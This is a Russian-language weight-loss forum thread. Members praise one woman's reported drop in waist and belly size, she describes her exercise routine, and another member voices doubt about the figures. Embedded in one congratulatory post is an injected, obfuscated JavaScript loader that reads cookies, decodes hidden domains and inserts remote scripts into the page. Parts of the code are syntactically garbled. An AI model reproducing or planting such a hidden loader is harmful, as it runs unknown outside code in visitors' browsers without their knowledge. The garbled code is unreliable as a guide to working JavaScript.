Первый пошел, второй пошел, третий пошел!...парашютики не забываем!

Катерина Иванова написал:
ушли объемы - 4 см с талии и 14!!! с живота

Ого, отличные результаты - так держать 

Поздравляем Вас! И добро пожаловать в нашу компанию!

ЛанаСвет Живая, да, осталось сбросить каких-то 15 кг!))))

Юляшка, спасибо, вместе мы сила)

спасибо всем) будем стараться и становиться лучше) у всех будут замечательные результаты, главное верить и стремиться к цели)

Марафонка, даже за неделю) буду надеяться, что килограммы скоро догонят сантиметры)

Супер!!! А какие вы физнагрузки применяли? 14см с живота это круто!!! Тоже так хочу

Мария Мария, ну во-первых, я хореограф и веду занятия, но летом конечно мало - сейчас 1 группа взрослых по фламенко - живот особо не работает, все руки да ноги)) во-вторых, у нас в парке организовали зарядку - 2 раза в неделю ведет тренер по карате - вот там точно и живот и все на свете, в-третьих, если удается (дети в садике и на работу прям с утра не надо) я бегаю в парке (немножко)

ну и живот у меня сильно большой был - как на пятом месяце, многие спрашивали не собралась ли я за третьим)))) так что, видимо, ушло самое большое)

Катерина Иванова, ну молодец!!! А я вот больше хожу(3-6км), иногда бегаю, дома лёгкой аэробикой занимаюсь ,когда дождливая погода, но такого результата нет
Вы умница!

За 2 недели 14 см с живота ушло аж не верится. 4 см с  талии вполне правдоподобно, но 14

Ирина Баркова, я конечно живот не фоткала до...если фоткали - старалась выглядеть на фото стройнее - где-то втянуть, где-то встать поудачнее...но попробую найти что-нибудь и сфоткаюсь сегодня вечером уже после - покажу. Повторюсь - живот у меня был большой, поэтому, наверное и ушел быстро

Отличные результаты!!! Просто отличнейшие 

Поздравляю, так держать!window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Катерина Иванова написал:
я конечно живот не фоткала до...если фоткали - старалась выглядеть на фото стройнее - где-то втянуть, где-то встать поудачнее..

да мы все так фоткаемся пока еще не стройняшки. Просто результаты в см у вас очень ошеломительные для такого короткого срока. Мои уходят крайне неохотно, ну правда и живот у меня не такой уж большой. Но и у других худеющих я не видела так стремительно тающих объемов, вот поэтому как-то не слишком верится. А вообще если это так, то вы большой молодец! Желаю, чтоб  и дальше был хороший темп постройнения. Удачи!